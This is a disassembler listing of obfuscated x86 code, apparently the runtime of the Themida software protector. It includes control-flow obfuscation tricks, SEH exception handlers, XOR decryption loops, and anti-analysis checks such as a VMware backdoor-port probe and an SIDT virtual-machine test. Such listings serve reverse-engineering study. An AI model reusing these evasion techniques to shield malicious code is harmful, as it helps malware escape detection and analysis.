loc_57D889:				; CODE XREF: Themida_:0057D870j
		mov	[ebp+60F17A1h],	eax
		pusha
		mov	[ebp+60F0089h],	ecx
		mov	[ebp+60F2FE9h],	esi
		popa
		mov	eax, eax
		mov	ecx, 45838B9Ch
		push	eax
		jmp	loc_57D8B6
; ---------------------------------------------------------------------------
		mov	ch, 0D5h
		xchg	eax, edi
		cmpsd
		xchg	eax, ebx
		cmp	[edx-42h], dh
		and	edx, [ebp-7Ch]
		stosb


loc_57D8B6:				; CODE XREF: Themida_:0057D8A5j
		mov	ebx, eax
		push	0
		push	esi
		call	sub_57D8C3
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D8C3	proc near		; CODE XREF: Themida_:0057D8BBp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_57D8C3	endp

; ---------------------------------------------------------------------------
		movsd
		mov	bh, 0EBh
		pop	esi
		push	ebx
		lea	ebx, [ebp+60F1511h]
		mov	eax, [ebx]
		mov	[ebx], eax
		mov	eax, [ebx+50h]
		mov	[ebx+50h], eax
		lea	ebx, [ebp+611FCEBh]
		mov	eax, [ebx]
		mov	[ebx], eax
		pop	ebx
		push	ebx
		pop	edi
		push	0
		jno	loc_57D901
		mov	cx, 27BCh


loc_57D901:				; CODE XREF: Themida_:0057D8F7j
		lea	eax, [ebp+611FCEBh]
		xor	edi, [ebp+60F0865h]
		push	eax
		mov	edi, edx
		sub	[ebp+60F22E5h],	ebx
		push	60h
		jmp	loc_57D929
; ---------------------------------------------------------------------------
		db 0BAh, 0F7h, 0FFh
		dd 0F5C19BB1h, 0FD8F20F7h
		db 29h
; ---------------------------------------------------------------------------


loc_57D929:				; CODE XREF: Themida_:0057D918j
		sub	[ebp+60F2A09h],	esi
		lea	eax, [ebp+60F1511h]
		push	0
		push	edi
		call	sub_57D940
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D940	proc near		; CODE XREF: Themida_:0057D938p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_57D940	endp

; ---------------------------------------------------------------------------
		shl	byte ptr [esi-47h], 0DAh
		mov	ch, 50h
		push	0
		push	esi
		call	sub_57D961
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D961	proc near		; CODE XREF: Themida_:0057D959p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_57D961	endp

; ---------------------------------------------------------------------------
		mov	cl, [ebx+0F00DD8Dh]
		push	es
		push	0
		mov	edi, [ebp+60F0B71h]
		push	0
		movzx	edi, ax
		push	1800h
		push	ebx
		jmp	loc_57D997
; ---------------------------------------------------------------------------
		retf	8DCEh
; ---------------------------------------------------------------------------
		db 26h
; ---------------------------------------------------------------------------
		das
		push	es
		lodsd


loc_57D997:				; CODE XREF: Themida_:0057D98Bj
		call	dword ptr [ebp+60F1E09h]
		pusha
		mov	di, dx
		movzx	eax, ax
		popa
		call	dword ptr [ebp+60F0AF5h]
		mov	ecx, [ebp+60F1629h]
		push	dword ptr [ebp+611FD52h]
		push	0
		push	edx
		call	sub_57D9C2
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D9C2	proc near		; CODE XREF: Themida_:0057D9BAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_57D9C2	endp

; ---------------------------------------------------------------------------
		dw 0BAA8h
		dd 28BAF4CEh, 6F34E281h, 8F0F04C3h, 0Ah, 5E9h, 8B4E2100h
		dd 95FFA18Dh, 60F2A05h,	6850Fh,	8D8B0000h, 60F16B5h, 1511858Dh
		dd 0BD89060Fh, 60F2C85h, 0B918408Bh, 5BBD5962h,	1DD185C7h
		dd 60Fh, 0BA660000h, 0BD83F836h, 60F1D81h, 44840F00h, 0E8000000h
		dd 13h,	6EA6BCC4h, 1A42630Eh, 0B357FB2h, 0F8C154BDh, 5F383B2Dh
		dd 21ED8D2Bh, 8C3D060Fh, 0F000000h, 1CA83h, 0C7816600h
		dd 1EE92CFBh, 0E8000000h, 9, 9BAE441Ah,	2E313BC4h, 3D59FC0Fh
		dd 98h,	1A5830Fh, 0C9800000h, 3B858D2Bh, 6A005B24h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0F272C350h, 0BAC803AFh, 89E10DE2h, 0F0DDD85h, 0C9BD8B06h
		dd 0FF060F21h, 87BA66D0h, 8E858D31h, 6A005B1Eh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 8B01C351h, 9EC3F75Eh, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0C08B15C3h, 2B99BD89h
		dd 0BD83060Fh, 60F1891h, 83097500h, 0F26ADBDh, 19740006h
		dd 0C08B5350h, 0BC6B8h,	25858900h, 8D060F00h, 11AFB89Dh
		dd 5BD3FF06h, 0ADBD8358h, 60F26h, 53501774h, 0BC6B8h, 25858900h
		dd 8D060F00h, 11ACA79Dh, 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 8329CB63h
		dd 0B3BB5F53h, 28959D89h, 0B589060Fh, 60F33B5h,	14A99589h
		dd 6A060Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 550DAEC3h, 8BD0B70Fh, 50006AC0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0FFF88398h
		dd 2C850Fh, 0BD8B0000h,	60F2CC9h, 342585C7h, 60Fh, 950B0000h
		dd 60F16D9h, 0C3E9h, 65953100h,	0E9060F34h, 22h, 1851BD8Bh
		dd 0F883060Fh, 13850F01h, 8B000000h, 0E2E9D3h, 0BD8B0000h
		dd 60F3319h, 0AC98D8Bh,	3AE9060Fh, 50FFFFF1h, 8B59D78Bh
		dd 56006AC0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0EEFA94E7h, 6E60BFC8h, 958B96E0h, 60F18E1h
		dd 1891BD83h, 7500060Fh, 0ADBD8309h, 60F26h, 53501974h
		dd 0DDB8C08Bh, 89000007h, 0F002585h, 0B89D8D06h, 0FF0611AFh
		dd 83585BD3h, 0F26ADBDh, 17740006h, 0DDB85350h,	89000007h
		dd 0F002585h, 0A79D8D06h, 0FF0611ACh, 89585BD3h, 0F07C585h
		dd 89C08B06h, 0F08718Dh, 24FE906h, 0EF8A0000h, 0FAEF858Dh
		dd 0AE90611h, 0FB000000h, 8858548Eh, 0F39ED65Eh, 0FE94Ah
		dd 1A8D0000h, 0FB025B33h, 1064F0DDh, 189F2BCh, 0E7858961h
		dd 0F0611FCh, 51E9D3BFh, 33000000h, 0F081DBDh, 0CE8B6606h
; ---------------------------------------------------------------------------


loc_57DCF0:				; CODE XREF: Themida_:0057D7ADj
		lea	eax, [ebp+611F8F7h]
		jz	loc_57DD02
		mov	edi, [ebp+60F1E11h]


loc_57DD02:				; CODE XREF: Themida_:0057DCF6j
		inc	eax
		push	0
		push	esi
		call	sub_57DD0E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57DD0E	proc near		; CODE XREF: Themida_:0057DD06p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_57DD0E	endp

; ---------------------------------------------------------------------------
		dw 1C00h
; ---------------------------------------------------------------------------
		pop	ds
		xchg	eax, edx
		jmp	edx
; ---------------------------------------------------------------------------
		dd 891C3AE0h, 0F1481B5h, 0E7858906h, 0BA0611FCh, 3D44A622h
		dd 858D346Ah, 60F1C09h,	0E7B5FF50h, 6A0611FCh, 0A195FF00h
		dd 83060F13h, 840F07F8h, 168h, 0F6DB8C66h, 850F04C3h, 102h
		dd 24FD85C6h, 6856060Fh, 9CA8B852h, 1CE5B5FFh, 858D060Fh
		dd 60F3AB8h, 46AD0FFh, 100068h,	6A646A00h, 89D0FF00h, 11FD5A85h
		dd 0FD85C606h, 47060F24h, 18AC9B68h, 0E5B5FFECh, 8D060F1Ch
		dd 0F3AB885h, 0FFD0FF06h, 0C6F08BD0h, 0F24FD85h, 61684F06h
		dd 0FFC62F26h, 0F1E25B5h, 0B8858D06h, 0FF060F3Ah, 569D8DD0h
		dd 530611FDh, 0FF56286Ah, 75C085D0h, 0FD85C600h, 41060F24h
		dd 87649868h, 25B5FFDBh, 8D060F1Eh, 0F3AB885h, 89D0FF06h
		dd 11FD7385h, 0FD85C606h, 4C060F24h, 0A4E7A468h, 25B5FF80h
		dd 8D060F1Eh, 0F3AB885h, 8BD0FF06h, 11FD5A9Dh, 45B8D06h
		dd 5F9D8D53h, 530611FDh, 0D0FF006Ah, 0FD5A9D8Bh, 3C70611h
		dd 1, 20C43C7h,	8B000000h, 0F166D9Dh, 0F585C706h, 60F2Eh
		dd 6A000000h, 6A006A00h, 5A9D8B00h, 530611FDh, 0B5FF006Ah
		dd 611FD56h, 0FD7395FFh, 85C60611h, 60F24FDh, 0F7976845h
		dd 0B5FF92A5h, 60F1A61h, 3AB8858Dh, 0D0FF060Fh,	26A006Ah
		dd 8C66D0FFh, 4C3F6DBh,	9D8B3275h, 611FD5Ah, 0C43C7h, 6A000000h
		dd 8B006A00h, 11FD5A9Dh, 6A5306h, 0FD56B5FFh, 95FF0611h
		dd 611FD73h, 0FD56B5FFh, 95FF0611h, 60F0AF5h, 95FF006Ah
		dd 60F2275h, 3091BD2Bh,	6A060Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0BC936BC3h, 750647E7h
		dd 850F0F45h, 5, 6DC78166h
; ---------------------------------------------------------------------------
		cli


loc_57DEFD:				; CODE XREF: Themida_:loc_57C3DEj
		lea	eax, [ebp+612315Ah]
		mov	edi, [ebp+60F2449h]
		push	eax
		movsx	edx, bx
		push	large dword ptr	fs:0
		push	0
		push	eax
		call	sub_57DF1F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57DF1F	proc near		; CODE XREF: Themida_:0057DF17p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_57DF1F	endp

; ---------------------------------------------------------------------------
		cmc
		scasb
		cmp	bl, dl
		rcl	byte ptr [esi],	62h
		mov	edx, [ebp+60F1D9Dh]
		mov	large fs:0, esp
		cmp	dword ptr [ebp+60F306Dh], 0
		jz	loc_57DFB5
		mov	dx, cx
		mov	ecx, [ebp+60F17C1h]
		cmp	dword ptr [ebp+60F21ADh], 1
		jnz	loc_57DFB5
		jmp	loc_57DF78
; ---------------------------------------------------------------------------
		db 9Fh
		dd 0BD633F1Fh, 0DB763E3Ch, 0E9FA21D4h
; ---------------------------------------------------------------------------


loc_57DF78:				; CODE XREF: Themida_:0057DF66j
		cmp	byte ptr [ebp+6120173h], 0
		jnz	loc_57DFB5
		push	0
		push	ecx
		call	sub_57DF90
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57DF90	proc near		; CODE XREF: Themida_:0057DF88p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_57DF90	endp

; ---------------------------------------------------------------------------
		dd 484CF16Fh, 68E5B98Ah, 34E93AF1h, 89000001h, 0F32A595h
; ---------------------------------------------------------------------------
		push	es


loc_57DFB5:				; CODE XREF: Themida_:0057DF4Aj
					; Themida_:0057DF60j ...
		xor	ebx, ebx
		add	dx, 3A2Dh
		xor	eax, eax
		jmp	loc_57DFCD
; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------
		sbb	byte ptr [edi],	0F8h
		jmp	short loc_57E022
; ---------------------------------------------------------------------------
		db 0FDh, 3, 16h
		db 73h
; ---------------------------------------------------------------------------


loc_57DFCD:				; CODE XREF: Themida_:0057DFBEj
		inc	eax
; ---------------------------------------------------------------------------
		dw 3F0Fh
		dd 8F640B07h, 5, 4C48300h, 6FEA8166h, 0FDBD8BE4h, 83060F2Eh
		dd 840FFFFBh, 23h, 0BCE985BAh, 0DEE9F87Fh, 0E9000000h
		dd 13h,	11F1FA59h, 9983CF77h, 7563F7FEh, 5B94CF0h, 0E9612573h
		dd 61h,	6850Fh,	958B0000h
		db 0F9h, 2Bh
; ---------------------------------------------------------------------------


loc_57E022:				; CODE XREF: Themida_:0057DFC7j
		clts
		mov	ecx, [esp+0Ch]
		mov	dword ptr [ecx+0A4h], 0FFFFFFFFh
		add	dword ptr [ecx+0B8h], 4
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		mov	ebx, [esp+0Ch]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 612317Ch
		mov	eax, [ebx+0B8h]
		lea	eax, [ebp+6123219h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		pusha
		cmc
		push	ebx
		js	$+6
		pop	ecx
		popa
		mov	[ebp+60F1971h],	ebx
		mov	edx, 21EA4268h
		lea	eax, [ebp+6123172h]
		mov	[ebp+60F15A1h],	ecx
		push	eax
		mov	cx, 5126h
		push	large dword ptr	fs:0
		mov	ecx, [ebp+60F014Dh]
		mov	large fs:0, esp
		jmp	loc_57E0B1
; ---------------------------------------------------------------------------
		db 9Ch
		dd 52ADA741h, 63B50D8Eh, 847EB233h
		db 0E5h
; ---------------------------------------------------------------------------


loc_57E0B1:				; CODE XREF: Themida_:0057E09Ej
		mov	ecx, 0Ah
		mov	eax, 4855D704h
		add	eax, 0DF78164h
		mov	ebx, 8685D465h
		mov	edx, 34B640h
		sub	edx, 345FE8h
		in	eax, dx
		cmp	ebx, 564D5868h
		jnz	short loc_57E0E3
		mov	dword ptr [ebp+60F16D5h], 1


loc_57E0E3:				; CODE XREF: Themida_:0057E0D7j
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	edx, 2A4007A3h
		jmp	loc_57E106
; ---------------------------------------------------------------------------
		db 0BBh
		dd 5CE7FB9Ch, 22E1A35Ch, 44EC076Ch
; ---------------------------------------------------------------------------
		mov	[edx], cl


loc_57E106:				; CODE XREF: Themida_:0057E0F2j
		mov	eax, eax
		mov	cx, 0F7B8h
		jle	loc_57E115
		mov	cx, bx


loc_57E115:				; CODE XREF: Themida_:0057E10Cj
		cmp	dword ptr [ebp+60F1891h], 0
		jnz	short loc_57E127
		cmp	dword ptr [ebp+60F26ADh], 0
		jz	short loc_57E140


loc_57E127:				; CODE XREF: Themida_:0057E11Cj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+60F2941h],	eax
		lea	ebx, [ebp+611B01Fh]
		call	ebx
		pop	ebx
		pop	eax


loc_57E140:				; CODE XREF: Themida_:0057E125j
		cmp	dword ptr [ebp+60F26ADh], 0
		jz	short loc_57E160
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+60F2941h],	eax
		lea	ebx, [ebp+611ACC0h]
		call	ebx
		pop	ebx
		pop	eax


loc_57E160:				; CODE XREF: Themida_:0057E147j
		mov	edx, 3D319804h
		movzx	edi, cx
		mov	eax, eax
		jmp	loc_57E2B6
; ---------------------------------------------------------------------------
		db 4
		dd 31000000h, 3031392Eh, 7 dup(0)
		db    0
aExceptionInfor	db 'Exception Information',0
aPleaseContactT	db 'Please, contact the software developers with the following codes.'
		db ' Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
; ---------------------------------------------------------------------------


loc_57E2B6:				; CODE XREF: Themida_:0057E16Aj
		cmp	dword ptr [ebp+60F1405h], 0
		jz	loc_57E3F0
		lea	eax, [ebp+611AAD7h]
		push	eax
		lea	eax, [ebp+611AA41h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+611AAE7h]
		lea	eax, [ebp+61232A5h]
		push	eax
		lea	eax, [ebp+61232AFh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+611AA55h]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F2B95h]
		lea	eax, [ebp+61232A5h]
		push	eax
		lea	eax, [ebp+61232B3h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+611AA67h]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F2B95h]
		lea	eax, [ebp+61232A5h]
		push	eax
		lea	eax, [ebp+61232BFh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+611AAB4h]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F2B95h]
		lea	eax, [ebp+61232A5h]
		push	eax
		lea	eax, [ebp+61232C7h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+611AAD2h]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F2B95h]
		lea	eax, [ebp+61232A5h]
		push	eax
		lea	eax, [ebp+61232C3h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+611AABBh]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F2B95h]
		lea	eax, [ebp+61232A5h]
		push	eax
		lea	eax, [ebp+61232B7h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+611AAC3h]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F2B95h]
		lea	eax, [ebp+61232A5h]
		push	eax
		lea	eax, [ebp+61232BBh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+611AACAh]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F2B95h]
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F16CDh]
		jmp	loc_57E492
; ---------------------------------------------------------------------------


loc_57E3F0:				; CODE XREF: Themida_:0057E2BDj
		cmp	dword ptr [ebp+60F1385h], 0
		jz	loc_57E492
		cmp	dword ptr [ebp+60F21ADh], 0
		jnz	loc_57E41B
		mov	edx, [ebp+60F19EDh]
		add	edx, 1CF8h
		jmp	loc_57E42A
; ---------------------------------------------------------------------------


loc_57E41B:				; CODE XREF: Themida_:0057E404j
		lea	edx, [ebp+60F1511h]
		mov	edx, [edx+34h]
		add	edx, 3BD4C340h


loc_57E42A:				; CODE XREF: Themida_:0057E416j
		mov	[ebp+60F084Dh],	edx
		cmp	dword ptr [ebp+60F084Dh], 0
		jz	loc_57E492
		mov	ebx, [ebp+60F084Dh]
		add	ebx, 4Ch
		mov	eax, [ebx]
		mov	[ebp+61232AFh],	eax
		mov	ebx, [ebp+60F084Dh]
		add	ebx, 50h
		mov	eax, [ebx]
		mov	[ebp+61232B3h],	eax
		mov	ebx, [ebp+60F084Dh]
		add	ebx, 54h
		mov	eax, [ebx]
		mov	[ebp+61232BFh],	eax
		mov	ebx, [ebp+60F084Dh]
		add	ebx, 58h
		mov	eax, [ebx]
		mov	[ebp+61232C3h],	eax
		mov	ebx, [ebp+60F084Dh]
		add	ebx, 5Ch
		mov	eax, [ebx]
		mov	[ebp+61232B7h],	eax


loc_57E492:				; CODE XREF: Themida_:0057E3EBj
					; Themida_:0057E3F7j ...
		cmp	dword ptr [ebp+60F1405h], 0
		jnz	loc_57E4AC
		cmp	dword ptr [ebp+60F1385h], 0
		jz	loc_57E514


loc_57E4AC:				; CODE XREF: Themida_:0057E499j
		push	dword ptr [ebp+61232C7h]
		push	dword ptr [ebp+61232BBh]
		push	dword ptr [ebp+61232B7h]
		push	dword ptr [ebp+61232C3h]
		push	dword ptr [ebp+61232BFh]
		push	dword ptr [ebp+61232B3h]
		push	dword ptr [ebp+61232AFh]
		lea	eax, [ebp+61232A9h]
		push	eax
		lea	eax, [ebp+61232E1h]
		push	eax
		lea	eax, [ebp+60F0579h]
		push	eax
		call	dword ptr [ebp+60F167Dh]
		add	esp, 24h
		push	40h
		lea	eax, [ebp+61232CBh]
		push	eax
		lea	eax, [ebp+60F0579h]
		push	eax
		push	0
		call	dword ptr [ebp+60F13A1h]
		push	1
		call	dword ptr [ebp+60F2275h]


loc_57E514:				; CODE XREF: Themida_:0057E4A6j
		mov	eax, ecx
		jmp	short loc_57E530
; ---------------------------------------------------------------------------
		dd 9B46F317h, 5	dup(0)
; ---------------------------------------------------------------------------


loc_57E530:				; CODE XREF: Themida_:0057E516j
		jmp	loc_57E740
; ---------------------------------------------------------------------------


loc_57E535:				; CODE XREF: Themida_:0057E54Aj
		pusha
		mov	ebx, [esp+24h]
		call	$+5
		pop	ebp
		sub	ebp, 6123675h
		popa
		retn	4
; ---------------------------------------------------------------------------
		jmp	loc_57E535
; ---------------------------------------------------------------------------


loc_57E54F:				; CODE XREF: Themida_:0057E554j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57E54F
; ---------------------------------------------------------------------------


loc_57E559:				; CODE XREF: Themida_:0057E55Ej
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57E559
; ---------------------------------------------------------------------------


loc_57E563:				; CODE XREF: Themida_:0057E568j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57E563
; ---------------------------------------------------------------------------


loc_57E56D:				; CODE XREF: Themida_:0057E572j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57E56D
; ---------------------------------------------------------------------------
		align 4
		dd 0
		dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 1236ADB5h,	0E68106h
		dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h,	1236B1B5h
		dd 0E9860F06h, 0FFFFFFFh, 220FD820h, 6160CFD8h,	8C6650C3h
		dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h
		dd 60F084Dh, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh,	2404FF58h
		dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 0F33C595h, 10F5006h
		dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h,	2588966h
		dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 60F084Dh
		dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h
		dd 0A03E380h, 38840FDBh, 0BB000000h, 2,	84D858Bh, 1886060Fh
		dd 850FDB0Ah, 0FFFFFFF6h, 143985C7h, 60Fh, 448B0000h, 988B0824h
		dd 1000h, 10009889h, 188B0000h,	0AE91889h, 0C7000000h
		dd 0F143985h, 10006h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h
		dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h
		dd 13h,	2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h
		dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h
		dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h
		dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h
		dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh
		dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h
		dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h
		dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh
; ---------------------------------------------------------------------------


loc_57E740:				; CODE XREF: Themida_:loc_57E530j
		mov	ax, ds
		test	al, 4
		jz	loc_57E774
		mov	dword ptr [ebp+6123652h], 1
		push	eax
		sidt	fword ptr [esp-2]
		pop	dword ptr [ebp+6123656h]
		lea	eax, [ebp+612364Eh]
		lea	edi, [ebp+6123656h]
		mov	[eax], edi
		jmp	loc_57E797
; ---------------------------------------------------------------------------


loc_57E774:				; CODE XREF: Themida_:0057E745j
		lea	eax, [ebp+60F1511h]
		mov	eax, [eax+38h]
		add	eax, 9B46F317h
		mov	[ebp+612364Eh],	eax
		lea	eax, [ebp+60F1511h]
		mov	eax, [eax+3Ch]
		mov	[ebp+6123652h],	eax


loc_57E797:				; CODE XREF: Themida_:0057E76Fj
		lea	eax, [ebp+612366Bh]
		mov	[ebp+60F33C5h],	eax
		jmp	loc_57E82F
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_57E7C3
; ---------------------------------------------------------------------------


loc_57E7BC:				; CODE XREF: Themida_:0057E7C5j
		add	[esi], al
		xor	[esi], al
		ror	eax, 1
		inc	esi


loc_57E7C3:				; CODE XREF: Themida_:0057E7B7j
		cmp	esi, edi
		jb	loc_57E7BC
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_57E7EB
; ---------------------------------------------------------------------------


loc_57E7E4:				; CODE XREF: Themida_:0057E7EDj
		xor	[esi], al
		sub	[esi], al
		ror	eax, 1
		inc	esi


loc_57E7EB:				; CODE XREF: Themida_:0057E7DFj
		cmp	esi, edi
		jb	loc_57E7E4
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		push	esi
		push	ecx
		push	ebx
		xor	ebx, ebx
		mov	esi, [edx+8]
		mov	ecx, [edx+0Ch]
		jmp	loc_57E81E
; ---------------------------------------------------------------------------


loc_57E80B:				; CODE XREF: Themida_:0057E820j
		lodsb
		cmp	al, 2Dh
		jz	loc_57E81E
		add	al, 98h
		xor	al, 13h
		xor	bl, al
		rol	ebx, 8
		dec	ecx


loc_57E81E:				; CODE XREF: Themida_:0057E806j
					; Themida_:0057E80Ej
		or	ecx, ecx
		jnz	loc_57E80B
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	esi
		pop	edx
		retn	8
; ---------------------------------------------------------------------------


loc_57E82F:				; CODE XREF: Themida_:0057E7A3j
		lea	eax, [ebp+61238DEh]
		mov	[ebp+60F0945h],	eax
		lea	eax, [ebp+6123906h]
		mov	[ebp+60F29B1h],	eax
		lea	eax, [ebp+612392Eh]
		mov	[ebp+60F159Dh],	eax
		pusha
		call	sub_57E868
		xchg	eax, esi
		call	far ptr	64F3h:601A085Dh
		cmc
		pushf
		sub	eax, 6070FB77h

; =============== S U B	R O U T	I N E =======================================



sub_57E868	proc near		; CODE XREF: Themida_:0057E854p

; FUNCTION CHUNK AT 0057E928 SIZE 0000000D BYTES

		js	loc_57E874
		and	esi, 62D8AF9Ah


loc_57E874:				; CODE XREF: sub_57E868j
		pop	ecx
		jl	loc_57E87D
		mov	dl, 0ABh


loc_57E87D:				; CODE XREF: sub_57E868+Dj
		mov	eax, eax
		cmc
		cmp	dword ptr [ebp+60F1891h], 0
		jnz	short loc_57E892
		cmp	dword ptr [ebp+60F26ADh], 0
		jz	short loc_57E8AB


loc_57E892:				; CODE XREF: sub_57E868+1Fj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+60F0025h],	eax
		lea	ebx, [ebp+611AFB8h]
		call	ebx
		pop	ebx
		pop	eax


loc_57E8AB:				; CODE XREF: sub_57E868+28j
		cmp	dword ptr [ebp+60F26ADh], 0
		jz	short loc_57E8CB
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+60F0025h],	eax
		lea	ebx, [ebp+611ACA7h]
		call	ebx
		pop	ebx
		pop	eax


loc_57E8CB:				; CODE XREF: sub_57E868+4Aj
		mov	cx, bx
		movzx	esi, di
		mov	eax, eax
		push	edi
		movzx	edx, cx
		pop	edx
		cmp	dword ptr [ebp+60F306Dh], 0
		jz	loc_57E928
		push	0
		push	eax
		call	sub_57E8F0
		and	[eax-3Dh], bl
sub_57E868	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57E8F0	proc near		; CODE XREF: sub_57E868+80p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_57E8F0	endp

; ---------------------------------------------------------------------------
		dd 6E98CE2h, 79000000h,	85388CE8h, 26FE93Dh, 11E90000h
		dd 0F6000000h, 0D8FB03Fh, 58F1A3ACh, 737E5B7Fh,	0B5D6F54h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57E868


loc_57E928:				; CODE XREF: sub_57E868+77j
		mov	edi, ds
		push	0
		push	edi
		call	sub_57E935
		and	[edi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_57E868

; =============== S U B	R O U T	I N E =======================================



sub_57E935	proc near		; CODE XREF: sub_57E868+C5p

